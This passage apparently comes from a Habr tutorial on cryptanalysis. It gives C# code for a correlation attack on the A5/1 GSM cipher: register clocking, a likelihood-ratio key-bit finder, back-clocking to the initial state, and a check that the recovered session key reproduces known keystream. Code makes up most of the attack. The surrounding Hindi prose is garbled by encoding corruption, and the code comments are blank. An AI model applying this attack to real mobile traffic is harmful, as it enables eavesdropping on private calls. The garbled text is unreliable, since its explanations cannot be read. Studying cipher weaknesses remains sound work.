RegThree[i - 1]; if (i == 1) RegThree[0] = temp; } return RegThree; } private void clockall() { reg = clockone(reg); reg2 = clocktwo(reg2); reg3 = clockthree(reg3); } //  ,      cl1, cl2  cl3 public bool Oj(int cl1,int cl2, int cl3) { for (int i = 0; i < cl1; i++) { clockone(reg); } for (int i = 0; i < cl2; i++) { clocktwo(reg2); } for (int i = 0; i < cl3; i++) { clockthree(reg3); } return (reg[18] ^ reg2[21] ^ reg3[22]); } // ,     XOR      public double Pj(int cl1, int cl2, int cl3, int j, bool[] frame) { double result = 0; double rightPart = 0; int[] framenumb=new int[1]{j}; KeySetup(framenumb); bool[] tempReg = new bool[19]; bool[] tempReg2 = new bool[22]; bool[] tempReg3 = new bool[23]; Array.Copy(reg, tempReg, 19); Array.Copy(reg2, tempReg2, 22); Array.Copy(reg3, tempReg3, 23); bool FramesBit = Oj(cl1, cl2, cl3); for (int i = 100; i < 100 + 50; i++) { Array.Copy(tempReg, reg, 19); Array.Copy(tempReg2, reg2, 22); Array.Copy(tempReg3, reg3, 23); double temp = PinVth(cl1, cl2, cl3, i); rightPart += temp; if((FramesBit^frame[i-100])==false) temp=temp*1; else temp=0; result += temp; } result = result + ((1 - rightPart) / 2); return result; } //  ,   cl1, cl2, cl3    0.  >0     0 //  ,  1 public double LikehoodRatio(int cl1, int cl2, int cl3, bool[] keystream) { double result = 0; for (int i = 0; i < keystream.Length/228; i++) { bool[] temp=new bool[228]; Array.Copy(keystream,i*228,temp,0,228); double x=Pj(cl1, cl2, cl3, i, temp); result = result + Math.Log(( x/ (1 - x))); } return result; } public bool FindKeyBit(int cl1, int cl2, int cl3, bool[] keystream) { for (int i = 0; i < 150; i++) factorials[i] = factorial(i); if (LikehoodRatio(cl1, cl2, cl3, keystream) >= 0) return false; else return true; } //         public bool[][] checkSol(byte[] first, byte[] second, byte[] third) { byte[] newFirst = new byte[3]; newFirst[0] = first[0]; newFirst[1] = second[0]; newFirst[2] = third[0]; byte[] newSecond = new byte[3]; newSecond[0] = first[1]; newSecond[1] = second[1]; newSecond[2] = third[1]; byte[] newThird = new byte[3]; newThird[0] = first[2]; newThird[1] = second[2]; newThird[2] = third[2]; bool[] firstArr1 = new BitArray(newFirst).Cast<bool>().ToArray().Reverse().ToArray(); bool[] firstArr = new bool[19]; Array.Copy(firstArr1, 5, firstArr, 0, 19); bool[] secondArr1 = new BitArray(newSecond).Cast<bool>().ToArray().Reverse().ToArray(); bool[] secondArr = new bool[22]; Array.Copy(secondArr1, 2, secondArr, 0, 22); bool[] thirdArr1 = new BitArray(newThird).Cast<bool>().ToArray().Reverse().ToArray(); bool[] thirdArr = new bool[23]; Array.Copy(thirdArr1, 1, thirdArr, 0, 23); for (int i = 0; i < 101; i++) { BackClockone(firstArr); } for (int i = 0; i < 101; i++) { BackClocktwo(secondArr); } for (int i = 0; i < 101; i++) { BackClockthree(thirdArr); } bool[][] result = new bool[3][]; result[0] = firstArr; result[1] = secondArr; result[2] = thirdArr; return result; } private void BackClockone(bool[] RegOne) { bool temp = false; for (int i = 0; i < RegOne.Length-1; i++) { if (i == 0) temp = RegOne[0]; RegOne[i] = RegOne[i+1]; if (i == (RegOne.Length-2)) RegOne[RegOne.Length - 1] = temp ^ RegOne[13] ^ RegOne[16] ^ RegOne[17]; } } private void BackClocktwo(bool[] RegTwo) { bool temp = false; for (int i = 0; i < RegTwo.Length-1; i++) { if (i == 0) temp = RegTwo[0]; RegTwo[i] = RegTwo[i + 1]; if (i == (RegTwo.Length-2)) RegTwo[RegTwo.Length - 1] = temp ^ RegTwo[20]; } } private void BackClockthree(bool[] RegThree) { bool temp = false; for (int i = 0; i < RegThree.Length-1; i++) { if (i == 0) temp = RegThree[0]; RegThree[i] = RegThree[i + 1]; if (i == (RegThree.Length-2)) RegThree[RegThree.Length - 1] = temp ^ RegThree[7] ^ RegThree[20] ^ RegThree[21]; } } } } 


рдирд┐рдореНрди рдкреНрд░рдХрд╛рд░ рд╕реЗ FindKeyBit рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛:
 private bool[] attack() { bool[] keypart=new bool[512]; int count = 0; A5attack tryattack = new A5attack(); for(int i=79; i<87;i++) for(int j=79; j<87; j++) for (int k = 79; k < 87; k++) { bool temp=tryattack.FindKeyBit(i, j, k, keystream); int time = finish - start; keypart[count] = temp; count++; } return keypart; } 

рд╣рдореЗрдВ 512 рдорд╛рдиреЛрдВ рдХреА рдПрдХ рд╕рд░рдгреА рдорд┐рд▓рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ XOR рдХреБрдВрдЬреА рдмрд┐рдЯреНрд╕ рд╕реНрдерд┐рддрд┐ 79 рд╕реЗ рд╕реНрдерд┐рддрд┐ 86 рддрдХ рд▓рд┐рдЦреА рдЧрдИ рд╣реИред

рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗ рд╕рднреА 24 рдмрд┐рдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ, рдФрд░ рдЙрдиреНрд╣реЗрдВ рдмрд╛рдЗрдЯ рд╕рд░рдгрд┐рдпреЛрдВ рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдкрдиреЗ рд╕рдорд╛рдзрд╛рди рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ:
 Private void checkSolution() { A5attack LetsAttack = new A5attack(); int[] testframe = new int[1] { 0 }; bool[][] startState = LetsAttack.checkSol(first, second, third); A5Enc a5check = new A5Enc(startState); bool[] TempFrame = new bool[228]; a5check.KeySetup(testframe); TempFrame = a5check.A5(true); for (int l = 0; l < 228; l++) { find = true; if (keystream[l] != TempFrame[l]) { find = false; break; } } } 

рдпрджрд┐ рдкреНрд░рд╛рдкреНрдд рдлреНрд░реЗрдо рдЬреНрдЮрд╛рдд рдХреБрдВрдЬреА рд╕реНрдЯреНрд░реАрдо рдХреЗ рдкрд╣рд▓реЗ рдлреНрд░реЗрдо рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛ рд╕рдлрд▓ рд░рд╣рд╛ рдФрд░ рд╣рдордиреЗ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдП 5/1 рдХреА рд╕рддреНрд░ рдХреБрдВрдЬреА рдХреЛ рдЦреЛрд▓рд╛ред

рднрд╛рдЧ 4: рдЕрдВрддрд┐рдо


рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдореИрдВ рдпрд╣ рдиреЛрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ рдХрд┐ рд╡рд░реНрдгрд┐рдд рд╣рдорд▓рд╛ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкрд╣рд▓реЗ рд╣рдорд▓реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рдЙрдирдореЗрдВ рд╕реЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рдЖрдкрдХреЛ 90% рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд╕рд╛рде рдХреБрд▓ 2000 рдлреНрд░реЗрдо (9 рд╕реЗрдХрдВрдб рдХреА рдмрд╛рддрдЪреАрдд) рд╕реЗ рдПрдХ рд╕рддреНрд░ рдХреБрдВрдЬреА рдЦреЛрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╕рд╣рд╕рдВрдмрдВрдз рдХреЗ рд╣рдорд▓реЗ рди рдХреЗрд╡рд▓ рд╕рд┐рджреНрдзрд╛рдВрдд рдореЗрдВ, рдмрд▓реНрдХрд┐ рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рднреА рдмрд╣реБрдд рдЧрдВрднреАрд░ рдЦрддрд░рд╛ рд╣реИрдВред

рд╕рд╛рд╣рд┐рддреНрдп рдФрд░ рд╕рдВрджрд░реНрдн




рдкреБрдирд╢реНрдЪ: рд▓реЗрдЦрдХ рдХреГрддрдЬреНрдЮ рд╣реЛрдЧрд╛ рдпрджрд┐ рдХреЛрдИ рдмрд░реНрдХрд╛рди, рдПрд▓рд╛рдб рдХреЗ рдХрд╛рдо рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░реЗрдЧрд╛; рдПрд▓реА рдмрд┐рд╣рд╛рдо (2005)ред "рд╕рд╢рд░реНрдд рдЕрдиреБрдорд╛рдирдХ: A5 / 1. рдкрд░ рдПрдХ рдкреНрд░рднрд╛рд╡реА рд╣рдорд▓рд╛" рдпрд╣ рдЙрд╕ рд╣рдорд▓реЗ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореИрдВрдиреЗ рдЕрдВрддрд┐рдо рднрд╛рдЧ рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдерд╛ред
UPD: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢реНрд╡реЗрддрд╛рд░реНрдХ рдХреЗ рд▓рд┐рдП рд╕рднреА рдкреНрд░рд╢реНрди рд╣рдЯрд╛ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

Source: https://habr.com/ru/post/In186838/


All Articles